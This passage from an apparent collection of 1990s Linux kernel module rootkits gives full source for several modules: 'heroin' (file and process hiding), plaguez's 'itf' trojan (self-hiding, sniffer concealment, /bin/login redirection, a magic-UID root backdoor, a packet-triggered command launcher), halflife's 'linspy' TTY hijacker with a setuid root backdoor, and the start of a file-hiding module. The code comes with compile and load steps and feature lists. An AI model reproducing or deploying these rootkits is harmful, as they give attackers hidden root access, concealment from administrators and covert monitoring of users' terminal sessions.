* recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57. + * It will not compile as is under 2.0.30, since 2.0.30 lacks the + * query_module() function. + * + * Compile with: + * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c + */ + +#include <linux/fs.h> +#include <linux/module.h> +#include <linux/modversions.h> +#include <linux/malloc.h> +#include <linux/unistd.h> +#include <sys/syscall.h> + +#include <linux/dirent.h> +#include <linux/proc_fs.h> +#include <stdlib.h> + +#define MAGIC_PREFIX "heroin" + +#define PF_INVISIBLE 0x10000000 +#define SIGINVISI 31 + +int errno; + +static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); +static inline _syscall2(int, kill, pid_t, pid, int, sig); +static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count); +static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret); + +extern void *sys_call_table[]; + +int (*original_getdents)(unsigned int, struct dirent *, unsigned int); +int (*original_kill)(pid_t, int); +int (*original_read)(int, void *, size_t); +int (*original_query_module)(const char *, int, void *, size_t, size_t *); + +int myatoi(char *str) +{ + int res = 0; + int mul = 1; + char *ptr; + + for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { + if(*ptr < '0' || *ptr > '9') + return(-1); + res += (*ptr - '0') * mul; + mul *= 10; + } + return(res); +} + +void mybcopy(char *src, char *dst, unsigned int num) +{ + while(num--) + *(dst++) = *(src++); +} + +int mystrcmp(char *str1, char *str2) +{ + while(*str1 && *str2) + if(*(str1++) != *(str2++)) + return(-1); + return(0); +} + +struct task_struct *find_task(pid_t pid) +{ + struct task_struct *task = current; + + do { + if(task->pid == pid) + return(task); + + task = task->next_task; + + } while(task != current); + + return(NULL); +} + +int is_invisible(pid_t pid) +{ + struct task_struct *task; + + if((task = find_task(pid)) == NULL) + return(0); + + if(task->flags & PF_INVISIBLE) + return(1); + + return(0); +} + +int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) +{ + int res; + int proc = 0; + struct inode *dinode; + char *ptr = (char *)dirp; + struct dirent *curr; + struct dirent *prev = NULL; + + res = (*original_getdents)(fd, dirp, count); + + if(!res) + return(res); + + if(res == -1) + return(-errno); + +#ifdef __LINUX_DCACHE_H + dinode = current->files->fd[fd]->f_dentry->d_inode; +#else + dinode = current->files->fd[fd]->f_inode; +#endif + + if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) + proc = 1; + + while(ptr < (char *)dirp + res) { + curr = (struct dirent *)ptr; + + if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || + (proc && is_invisible(myatoi(curr->d_name)))) { + + if(curr == dirp) { + res -= curr->d_reclen; + mybcopy(ptr + curr->d_reclen, ptr, res); + continue; + } + else + prev->d_reclen += curr->d_reclen; + } + else + prev = curr; + + ptr += curr->d_reclen; + } + + return(res); +} + +int hacked_kill(pid_t pid, int sig) +{ + int res; + struct task_struct *task = current; + + if(sig != SIGINVISI) { + res = (*original_kill)(pid, sig); + + if(res == -1) + return(-errno); + + return(res); + } + + if((task = find_task(pid)) == NULL) + return(-ESRCH); + + if(current->uid && current->euid) + return(-EPERM); + + task->flags |= PF_INVISIBLE; + + return(0); +} + +int hacked_read(int fd, char *buf, size_t count) +{ + int res; + char *ptr, *match; + struct inode *dinode; + + res = (*original_read)(fd, buf, count); + + if(res == -1) + return(-errno); + +#ifdef __LINUX_DCACHE_H + dinode = current->files->fd[fd]->f_dentry->d_inode; +#else + dinode = current->files->fd[fd]->f_inode; +#endif + + if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) + return(res); + + ptr = buf; + + while(ptr < buf + res) { + if(!mystrcmp(MAGIC_PREFIX, ptr)) { + match = ptr; + while(*ptr && *ptr != '\n') + ptr++; + ptr++; + mybcopy(ptr, match, (buf + res) - ptr); + res = res - (ptr - match); + return(res); + } + while(*ptr && *ptr != '\n') + ptr++; + ptr++; + } + + return(res); +} + +int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret) +{ + int res; + int cnt; + char *ptr, *match; + + res = (*original_query_module)(name, which, buf, bufsize, ret); + + if(res == -1) + return(-errno); + + if(which != QM_MODULES) + return(res); + + ptr = buf; + + for(cnt = 0; cnt < *ret; cnt++) { + if(!mystrcmp(MAGIC_PREFIX, ptr)) { + match = ptr; + while(*ptr) + ptr++; + ptr++; + mybcopy(ptr, match, bufsize - (ptr - (char *)buf)); + (*ret)--; + return(res); + } + while(*ptr) + ptr++; + ptr++; + } + + return(res); +} + +int init_module(void) +{ + original_getdents = sys_call_table[SYS_getdents]; + sys_call_table[SYS_getdents] = hacked_getdents; + + original_kill = sys_call_table[SYS_kill]; + sys_call_table[SYS_kill] = hacked_kill; + + original_read = sys_call_table[SYS_read]; + sys_call_table[SYS_read] = hacked_read; + + original_query_module = sys_call_table[SYS_query_module]; + sys_call_table[SYS_query_module] = hacked_query_module; + + return(0); +} + +void cleanup_module(void) +{ + sys_call_table[SYS_getdents] = original_getdents; + sys_call_table[SYS_kill] = original_kill; + sys_call_table[SYS_read] = original_read; + sys_call_table[SYS_query_module] = original_query_module; +} + +----- + +----- +Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com +Network Administrator | or (800) 264-7440 | or zarq@opaque.org +Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com +FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject] + + + + +

    LKM Hider / Socket Backdoor

    + +NAME : itf.c
    +AUTHOR : plaguez
    +DESCRIPTION : This very good LKM was published in phrack 52 (article 18 : + 'Weakening the Linux Kernel'). I often refered to it although + some ideas in it were also taken from other LKMs / texts which + were published before. This module has everything you need to + backdoor a system in a very effective way. Look at the text + supplied with it for all of its features.
    +LINK : http://www.phrack.com
    + + +Here is itf.c. The goal of this program is to demonstrate kernel backdooring +techniques using systemcall redirection. Once installed, it is very hard to +spot. + +Its features include: + +- stealth functions: once insmod'ed, itf will modify struct module *mp and +get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs. +Also, the module cannot be unloaded. + +- sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be +hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o, +because itf will trap a change in the PROMISC flag and will then stop hidding +it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot +the module...). + +- file hidder: itf will also patch the getdents(2) system calls, thus hidding +files containing a certain word in their filename. + +- process hidder: using the same technique as described above, itf will hide +/procs/PÏD directories using argv entries. Any process named with the magic +name will be hidden from the procfs tree. + +- execve redirection: this implements Halflife's idea discussed in P51. +If a given program (notably /bin/login) is execve'd, itf will execve +another program instead. It uses tricks to overcome Linux memory managment +limitations: brk(2) is used to increase the calling program's data segment +size, thus allowing us to allocate user memory while in kernel mode (remember +that most system calls wait for arguments in user memory, not kernel mem). + +- socket recvfrom() backdoor: when a packet matching a given size and a given +string is received, a non-interactive program will be executed. Typicall use +is a shell script (which will be hidden using the magic name) that opens +another port and waits there for shell commands. + +- setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid == +magic number is done, the calling process will get uid = euid = gid = 0 + + +<++> lkm_trojan.c +/* + * itf.c v0.8 + * Linux Integrated Trojan Facility + * (c) plaguez 1997 -- dube0866@eurobretagne.fr + * This is mostly not fully tested code. Use at your own risks. + * + * + * compile with: + * gcc -c -O3 -fomit-frame-pointer itf.c + * Then: + * insmod itf + * + * + * Thanks to Halflife and Solar Designer for their help/ideas. + * + * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial. + * + * + */ + +#define MODULE +#define __KERNEL__ + + +#include <linux/config.h> +#include <linux/module.h> +#include <linux/version.h> + +#include <linux/types.h> +#include <linux/fs.h> +#include <linux/mm.h> +#include <linux/errno.h> +#include <asm/segment.h> +#include <asm/pgtable.h> +#include <sys/syscall.h> +#include <linux/dirent.h> +#include <asm/unistd.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <sys/socketcall.h> +#include <linux/netdevice.h> +#include <linux/if.h> +#include <linux/if_arp.h> +#include <linux/if_ether.h> +#include <linux/proc_fs.h> +#include <stdio.h> +#include <errno.h> +#include <fcntl.h> +#include <ctype.h> + + +/* Customization section + * - RECVEXEC is the full pathname of the program to be launched when a packet + * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom(). + * This program can be a shell script, but must be able to handle null **argv (I'm too lazy + * to write more than execve(RECVEXEC,NULL,NULL); :) + * - NEWEXEC is the name of the program that is executed instead of OLDEXEC + * when an execve() syscall occurs. + * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID) + * is made (like Halflife's code) + * - files containing MAGICNAME in their full pathname will be invisible to + * a getdents() system call. + * - processes containing MAGICNAME in their process name will be hidden of the + * procfs tree. + */ +#define MAGICNAME "w00w00T$!" +#define MAGICUID 31337 +#define OLDEXEC "/bin/login" +#define NEWEXEC "/.w00w00T$!/w00w00T$!login" +#define RECVEXEC "/.w00w00T$!/w00w00T$!recv" +#define MAGICSIZE sizeof(MAGICNAME)+10 + +/* old system calls vectors */ +int (*o_getdents) (uint, struct dirent *, uint); +ssize_t(*o_readdir) (int, void *, size_t); +int (*o_setuid) (uid_t); +int (*o_execve) (const char *, const char *[], const char *[]); +int (*o_ioctl) (int, int, unsigned long); +int (*o_get_kernel_syms) (struct kernel_sym *); +ssize_t(*o_read) (int, void *, size_t); +int (*o_socketcall) (int, unsigned long *); +/* entry points to brk() and fork() syscall. */ +static inline _syscall1(int, brk, void *, end_data_segment); +static inline _syscall0(int, fork); +static inline _syscall1(void, exit, int, status); + +extern void *sys_call_table[]; +extern struct proto tcp_prot; +int errno; + +char mtroj[] = MAGICNAME; +int __NR_myexecve; +int promisc; + + + +/* + * String-oriented functions + * (from user-space to kernel-space or invert) + */ + +char *strncpy_fromfs(char *dest, const char *src, int n) +{ + char *tmp = src; + int compt = 0; + + do { + dest[compt++] = __get_user(tmp++, 1); + } + while ((dest[compt - 1] != '\0') && (compt != n)); + + return dest; +} + + +int myatoi(char *str) +{ + int res = 0; + int mul = 1; + char *ptr; + + for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { + if (*ptr < '0' || *ptr > '9') + return (-1); + res += (*ptr - '0') * mul; + mul *= 10; + } + return (res); +} + + + +/* + * process hiding functions + */ +struct task_struct *get_task(pid_t pid) +{ + struct task_struct *p = current; + do { + if (p->pid == pid) + return p; + p = p->next_task; + } + while (p != current); + return NULL; + +} + +/* the following function comes from fs/proc/array.c */ +static inline char *task_name(struct task_struct *p, char *buf) +{ + int i; + char *name; + + name = p->comm; + i = sizeof(p->comm); + do { + unsigned char c = *name; + name++; + i--; + *buf = c; + if (!c) + break; + if (c == '\\') { + buf[1] = c; + buf += 2; + continue; + } + if (c == '\n') { + buf[0] = '\\'; + buf[1] = 'n'; + buf += 2; + continue; + } + buf++; + } + while (i); + *buf = '\n'; + return buf + 1; +} + + + +int invisible(pid_t pid) +{ + struct task_struct *task = get_task(pid); + char *buffer; + if (task) { + buffer = kmalloc(200, GFP_KERNEL); + memset(buffer, 0, 200); + task_name(task, buffer); + if (strstr(buffer, (char *) &mtroj)) { + kfree(buffer); + return 1; + } + } + return 0; +} + + + +/* + * New system calls + */ + +/* + * hide module symbols + */ +int n_get_kernel_syms(struct kernel_sym *table) +{ + struct kernel_sym *tb; + int compt, compt2, compt3, i, done; + + compt = (*o_get_kernel_syms) (table); + if (table != NULL) { + tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL); + if (tb == 0) { + return compt; + } + compt2 = 0; + done = 0; + i = 0; + memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym)); + while (!done) { + if ((tb[compt2].name)[0] == '#') + i = compt2; + if (!strcmp(tb[compt2].name, mtroj)) { + for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++); + if (compt3 != (compt - 1)) + memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym)); + else + compt = i; + done++; + } + compt2++; + if (compt2 == compt) + done++; + + } + + memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym)); + kfree(tb); + } + return compt; + +} + + + +/* + * how it works: + * I need to allocate user memory. To do that, I'll do exactly as malloc() does + * it (changing the break value). + */ +int my_execve(const char *filename, const char *argv[], const char *envp[]) +{ + long __res; + __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); + return (int) __res; +} + +int n_execve(const char *filename, const char *argv[], const char *envp[]) +{ + char *test; + int ret, tmp; + char *truc = OLDEXEC; + char *nouveau = NEWEXEC; + unsigned long mmm; + + test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); + (void) strncpy_fromfs(test, filename, strlen(truc)); + test[strlen(truc)] = '\0'; + if (!strcmp(test, truc)) { + kfree(test); + mmm = current->mm->brk; + ret = brk((void *) (mmm + 256)); + if (ret < 0) + return ret; + memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); + ret = my_execve((char *) (mmm + 2), argv, envp); + tmp = brk((void *) mmm); + } else { + kfree(test); + ret = my_execve(filename, argv, envp); + } + return ret; + +} + + +/* + * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces. + * If we reset the PROMISC flag when the trojan is already running, then it + * won't hide it anymore (needed otherwise you'd just have to do an + * "ifconfig eth0 +promisc" to find the trojan). + */ +int n_ioctl(int d, int request, unsigned long arg) +{ + int tmp; + struct ifreq ifr; + + tmp = (*o_ioctl) (d, request, arg); + if (request == SIOCGIFFLAGS && !promisc) { + memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq)); + ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC); + memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq)); + } else if (request == SIOCSIFFLAGS) { + memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq)); + if (ifr.ifr_flags & IFF_PROMISC) + promisc = 1; + else if (!(ifr.ifr_flags & IFF_PROMISC)) + promisc = 0; + } + return tmp; + +} + + +/* + * trojan setMAGICUID() system call. + */ +int n_setuid(uid_t uid) +{ + int tmp; + + if (uid == MAGICUID) { + current->uid = 0; + current->euid = 0; + current->gid = 0; + current->egid = 0; + return 0; + } + tmp = (*o_setuid) (uid); + return tmp; +} + + +/* + * trojan getdents() system call. + */ +int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) +{ + unsigned int tmp, n; + int t, proc = 0; + struct inode *dinode; + struct dirent *dirp2, *dirp3; + + tmp = (*o_getdents) (fd, dirp, count); + +#ifdef __LINUX_DCACHE_H + dinode = current->files->fd[fd]->f_dentry->d_inode; +#else + dinode = current->files->fd[fd]->f_inode; +#endif + + if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) + proc = 1; + if (tmp > 0) { + dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); + memcpy_fromfs(dirp2, dirp, tmp); + dirp3 = dirp2; + t = tmp; + while (t > 0) { + n = dirp3->d_reclen; + t -= n; + if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \ + ||(proc && invisible(myatoi(dirp3->d_name)))) { + if (t != 0) + memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); + else + dirp3->d_off = 1024; + tmp -= n; + } + if (dirp3->d_reclen == 0) { + /* + * workaround for some shitty fs drivers that do not properly + * feature the getdents syscall. + */ + tmp -= t; + t = 0; + } + if (t != 0) + dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); + + + } + memcpy_tofs(dirp, dirp2, tmp); + kfree(dirp2); + } + return tmp; + +} + + +/* + * Trojan socketcall system call + * executes a given binary when a packet containing the magic word is received. + * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM. + */ + +int n_socketcall(int call, unsigned long *args) +{ + int ret, ret2, compt; + char *t = RECVEXEC; + unsigned long *sargs = args; + unsigned long a0, a1, mmm; + void *buf; + + ret = (*o_socketcall) (call, args); + if (ret == MAGICSIZE && call == SYS_RECVFROM) { + a0 = get_user(sargs); + a1 = get_user(sargs + 1); + buf = kmalloc(ret, GFP_KERNEL); + memcpy_fromfs(buf, (void *) a1, ret); + for (compt = 0; compt < ret; compt++) + if (((char *) (buf))[compt] == 0) + ((char *) (buf))[compt] = 1; + if (strstr(buf, mtroj)) { + kfree(buf); + ret2 = fork(); + if (ret2 == 0) { + mmm = current->mm->brk; + ret2 = brk((void *) (mmm + 256)); + memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); +/* Hope the execve has been successfull otherwise you'll have 2 copies of the + master process in the ps list :] */ + ret2 = my_execve((char *) mmm + 2, NULL, NULL); + } + } + } + return ret; +} + + + + + +/* + * module initialization stuff. + */ +int init_module(void) +{ +/* module list cleaning */ +/* would need to make a clean search of the right register + * in the function prologue, since gcc may not always put + * struct module *mp in %ebx + * + * Try %ebx, %edi, %ebp, well, every register actually :) + */ + register struct module *mp asm("%ebx"); + *(char *) (mp->name) = 0; + mp->size = 0; + mp->ref = 0; +/* + * Make it unremovable + */ +/* MOD_INC_USE_COUNT; + */ + o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms]; + sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms; + + o_getdents = sys_call_table[SYS_getdents]; + sys_call_table[SYS_getdents] = (void *) n_getdents; + + o_setuid = sys_call_table[SYS_setuid]; + sys_call_table[SYS_setuid] = (void *) n_setuid; + + __NR_myexecve = 164; + while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) + __NR_myexecve--; + o_execve = sys_call_table[SYS_execve]; + if (__NR_myexecve != 0) { + sys_call_table[__NR_myexecve] = o_execve; + sys_call_table[SYS_execve] = (void *) n_execve; + } + promisc = 0; + o_ioctl = sys_call_table[SYS_ioctl]; + sys_call_table[SYS_ioctl] = (void *) n_ioctl; + + o_socketcall = sys_call_table[SYS_socketcall]; + sys_call_table[SYS_socketcall] = (void *) n_socketcall; + return 0; + +} + + +void cleanup_module(void) +{ + sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms; + sys_call_table[SYS_getdents] = o_getdents; + sys_call_table[SYS_setuid] = o_setuid; + sys_call_table[SYS_socketcall] = o_socketcall; + + if (__NR_myexecve != 0) + sys_call_table[__NR_myexecve] = 0; + sys_call_table[SYS_execve] = o_execve; + + sys_call_table[SYS_ioctl] = o_ioctl; +} +<--> + +----[ EOF + + +

    LKM TTY hijacking

    + +NAME : linspy
    +AUTHOR : halflife
    +DESCRIPTION : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the + Linux Kernel for Fun and Profit'). It is a very nice TTY + hijacker working the way I outline in II.7. This module + uses its own character device for control / and logging.
    +LINK : http://www.phrack.com
    + + + +<++> linspy/Makefile +CONFIG_KERNELD=-DCONFIG_KERNELD +CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD) +CC=gcc +# this is the name of the device you have (or will) made with mknod +DN = '-DDEVICE_NAME="/dev/ltap"' +# 1.2.x need this to compile, comment out on 1.3+ kernels +V = #-DNEED_VERSION +MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX + +all: linspy ltread setuid + +linspy: linspy.c /usr/include/linux/version.h + $(CC) $(MODCFLAGS) -c linspy.c + +ltread: + $(CC) $(DN) -o ltread ltread.c + +clean: + rm *.o ltread + +setuid: hacked_setuid.c /usr/include/linux/version.h + $(CC) $(MODCFLAGS) -c hacked_setuid.c + +<--> end Makefile +<++> linspy/hacked_setuid.c +int errno; +#include <linux/sched.h> +#include <linux/mm.h> +#include <linux/malloc.h> +#include <linux/errno.h> +#include <linux/sched.h> +#include <linux/kernel.h> +#include <linux/times.h> +#include <linux/utsname.h> +#include <linux/param.h> +#include <linux/resource.h> +#include <linux/signal.h> +#include <linux/string.h> +#include <linux/ptrace.h> +#include <linux/stat.h> +#include <linux/mman.h> +#include <linux/mm.h> +#include <asm/segment.h> +#include <asm/io.h> +#include <linux/module.h> +#include <linux/version.h> +#include <errno.h> +#include <linux/unistd.h> +#include <string.h> +#include <asm/string.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <sys/sysmacros.h> +#ifdef NEED_VERSION +static char kernel_version[] = UTS_RELEASE; +#endif +static inline _syscall1(int, setuid, uid_t, uid); +extern void *sys_call_table[]; +void *original_setuid; +extern int hacked_setuid(uid_t uid) +{ + int i; + if(uid == 4755) + { + current->uid = current->euid = current->gid = current->egid = 0; + return 0; + } + sys_call_table[SYS_setuid] = original_setuid; + i = setuid(uid); + sys_call_table[SYS_setuid] = hacked_setuid; + if(i == -1) return -errno; + else return i; +} +int init_module(void) +{ + original_setuid = sys_call_table[SYS_setuid]; + sys_call_table[SYS_setuid] = hacked_setuid; + return 0; +} +void cleanup_module(void) +{ + sys_call_table[SYS_setuid] = original_setuid; +} +<++> linspy/linspy.c +int errno; +#include <linux/tty.h> +#include <linux/sched.h> +#include <linux/mm.h> +#include <linux/malloc.h> +#include <linux/errno.h> +#include <linux/sched.h> +#include <linux/kernel.h> +#include <linux/times.h> +#include <linux/utsname.h> +#include <linux/param.h> +#include <linux/resource.h> +#include <linux/signal.h> +#include <linux/string.h> +#include <linux/ptrace.h> +#include <linux/stat.h> +#include <linux/mman.h> +#include <linux/mm.h> +#include <asm/segment.h> +#include <asm/io.h> +#ifdef MODULE +#include <linux/module.h> +#include <linux/version.h> +#endif +#include <errno.h> +#include <asm/segment.h> +#include <linux/unistd.h> +#include <string.h> +#include <asm/string.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <sys/sysmacros.h> +#include <linux/vt.h> + +/* set the version information, if needed */ +#ifdef NEED_VERSION +static char kernel_version[] = UTS_RELEASE; +#endif + +#ifndef MIN +#define MIN(a,b) ((a) < (b) ? (a) : (b)) +#endif + +/* ring buffer info */ + +#define BUFFERSZ 2048 +char buffer[BUFFERSZ]; +int queue_head = 0; +int queue_tail = 0; + +/* taken_over indicates if the victim can see any output */ +int taken_over = 0; + +static inline _syscall3(int, write, int, fd, char *, buf, size_t, count); +extern void *sys_call_table[]; + +/* device info for the linspy device, and the device we are watching */ +static int linspy_major = 40; +int tty_minor = -1; +int tty_major = 4; + +/* address of original write(2) syscall */ +void *original_write; + +void save_write(char *, size_t); + + +int out_queue(void) +{ + int c; + if(queue_head == queue_tail) return -1; + c = buffer[queue_head]; + queue_head++; + if(queue_head == BUFFERSZ) queue_head=0; + return c; +} + +int in_queue(int ch) +{ + if((queue_tail + 1) == queue_head) return 0; + buffer[queue_tail] = ch; + queue_tail++; + if(queue_tail == BUFFERSZ) queue_tail=0; + return 1; +} + + +/* check if it is the tty we are looking for */ +int is_fd_tty(int fd) +{ + struct file *f=NULL; + struct inode *inode=NULL; + int mymajor=0; + int myminor=0; + + if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode)) + return 0; + mymajor = major(inode->i_rdev); + myminor = minor(inode->i_rdev); + if(mymajor != tty_major) return 0; + if(myminor != tty_minor) return 0; + return 1; +} + +/* this is the new write(2) replacement call */ +extern int new_write(int fd, char *buf, size_t count) +{ + int r; + if(is_fd_tty(fd)) + { + if(count > 0) + save_write(buf, count); + if(taken_over) return count; + } + sys_call_table[SYS_write] = original_write; + r = write(fd, buf, count); + sys_call_table[SYS_write] = new_write; + if(r == -1) return -errno; + else return r; +} + + +/* save data from the write(2) call into the buffer */ +void save_write(char *buf, size_t count) +{ + int i; + for(i=0;i < count;i++) + in_queue(get_fs_byte(buf+i)); +} + +/* read from the ltap device - return data from queue */ +static int linspy_read(struct inode *in, struct file *fi, char *buf, int count) +{ + int i; + int c; + int cnt=0; + if(current->euid != 0) return 0; + for(i=0;i < count;i++) + { + c = out_queue(); + if(c < 0) break; + cnt++; + put_fs_byte(c, buf+i); + } + return cnt; +} + +/* open the ltap device */ +static int linspy_open(struct inode *in, struct file *fi) +{ + if(current->euid != 0) return -EIO; + MOD_INC_USE_COUNT; + return 0; +} + +/* close the ltap device */ +static void linspy_close(struct inode *in, struct file *fi) +{ + taken_over=0; + tty_minor = -1; + MOD_DEC_USE_COUNT; +} + +/* some ioctl operations */ +static int +linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args) +{ +#define LS_SETMAJOR 0 +#define LS_SETMINOR 1 +#define LS_FLUSHBUF 2 +#define LS_TOGGLE 3 + + if(current->euid != 0) return -EIO; + switch(cmd) + { + case LS_SETMAJOR: + tty_major = args; + queue_head = 0; + queue_tail = 0; + break; + case LS_SETMINOR: + tty_minor = args; + queue_head = 0; + queue_tail = 0; + break; + case LS_FLUSHBUF: + queue_head=0; + queue_tail=0; + break; + case LS_TOGGLE: + if(taken_over) taken_over=0; + else taken_over=1; + break; + default: + return 1; + } + return 0; +} + + +static struct file_operations linspy = { +NULL, +linspy_read, +NULL, +NULL, +NULL, +linspy_ioctl, +NULL, +linspy_open, +linspy_close, +NULL +}; + + +/* init the loadable module */ +int init_module(void) +{ + original_write = sys_call_table[SYS_write]; + sys_call_table[SYS_write] = new_write; + if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO; + return 0; +} + +/* cleanup module before being removed */ +void cleanup_module(void) +{ + sys_call_table[SYS_write] = original_write; + unregister_chrdev(linspy_major, "linspy"); +} +<--> end linspy.c +<++> linspy/ltread.c +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <termios.h> +#include <string.h> +#include <fcntl.h> +#include <signal.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <sys/sysmacros.h> + +struct termios save_termios; +int ttysavefd = -1; +int fd; + +#ifndef DEVICE_NAME +#define DEVICE_NAME "/dev/ltap" +#endif + +#define LS_SETMAJOR 0 +#define LS_SETMINOR 1 + +#define LS_FLUSHBUF 2 +#define LS_TOGGLE 3 + +void stuff_keystroke(int fd, char key) +{ + ioctl(fd, TIOCSTI, &key); +} + +int tty_cbreak(int fd) +{ + struct termios buff; + if(tcgetattr(fd, &save_termios) < 0) + return -1; + buff = save_termios; + buff.c_lflag &= ~(ECHO | ICANON); + buff.c_cc[VMIN] = 0; + buff.c_cc[VTIME] = 0; + if(tcsetattr(fd, TCSAFLUSH, &buff) < 0) + return -1; + ttysavefd = fd; + return 0; +} + + char *get_device(char *basedevice) +{ + static char devname[1024]; + int fd; + + if(strlen(basedevice) > 128) return NULL; + if(basedevice[0] == '/') + strcpy(devname, basedevice); + else + sprintf(devname, "/dev/%s", basedevice); + fd = open(devname, O_RDONLY); + if(fd < 0) return NULL; + if(!isatty(fd)) return NULL; + close(fd); + return devname; +} + + +int do_ioctl(char *device) +{ + struct stat mystat; + + if(stat(device, &mystat) < 0) return -1; + fd = open(DEVICE_NAME, O_RDONLY); + if(fd < 0) return -1; + if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1; + if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1; +} + + +void sigint_handler(int s) +{ + exit(s); +} + +void cleanup_atexit(void) +{ + puts(" "); + if(ttysavefd >= 0) + tcsetattr(ttysavefd, TCSAFLUSH, &save_termios); +} + +main(int argc, char **argv) +{ + int my_tty; + char *devname; + unsigned char ch; + int i; + + if(argc != 2) + { + fprintf(stderr, "%s ttyname\n", argv[0]); + fprintf(stderr, "ttyname should NOT be your current tty!\n"); + exit(0); + } + devname = get_device(argv[1]); + if(devname == NULL) + { + perror("get_device"); + exit(0); + } + if(tty_cbreak(0) < 0) + { + perror("tty_cbreak"); + exit(0); + } + atexit(cleanup_atexit); + signal(SIGINT, sigint_handler); + if(do_ioctl(devname) < 0) + { + perror("do_ioctl"); + exit(0); + } + my_tty = open(devname, O_RDWR); + if(my_tty == -1) exit(0); + setvbuf(stdout, NULL, _IONBF, 0); + printf("[now monitoring session]\n"); + while(1) + { + i = read(0, &ch, 1); + if(i > 0) + { + if(ch == 24) + { + ioctl(fd, LS_TOGGLE, 0); + printf("[Takeover mode toggled]\n"); + } + else stuff_keystroke(my_tty, ch); + } + i = read(fd, &ch, 1); + if(i > 0) + putchar(ch); + } +} +<--> end ltread.c + + +EOF + + +

    AFHRM - the monitor tool

    + +NAME : AFHRM ( Advanced file hide & redirect module)
    +AUTHOR : Michal Zalewski
    +DESCRIPTION : This LKM was made especially for admins who want to + control some files (passwd, for example) concerning + file access. This module can monitor any fileaccess and + redirect write attempts. It is also possible to do file + hiding.
    +LINK : http://www.rootshell.com
    + + + + + +/* + Advanced file hide & redirect module for Linux 2.0.xx / i386 + ------------------------------------------------------------ + (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl> +*/ + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> + +#if (!defined(__GLIBC__) || __GLIBC__ < 2) +#include <sys/stat.h> +#else +#include <statbuf.h> // What can I do? +#endif + +#include <linux/string.h> +#include "broken-glibc.h" +#include <linux/fs.h> +#include <linux/malloc.h> + +/* Hope that's free? */ +#define O_NOCHG 0x1000000 +#define O_ACCNOCHG 0x2000000 +#define O_STRICT 0x4000000 +#define O_STILL 0x8000000 + +#define M_MAIN 0x0ffffff +#define M_MINOR (M_MAIN ^ O_ACCMODE) + +struct red { // Redirections database entry. + const char *src,*dst; + const 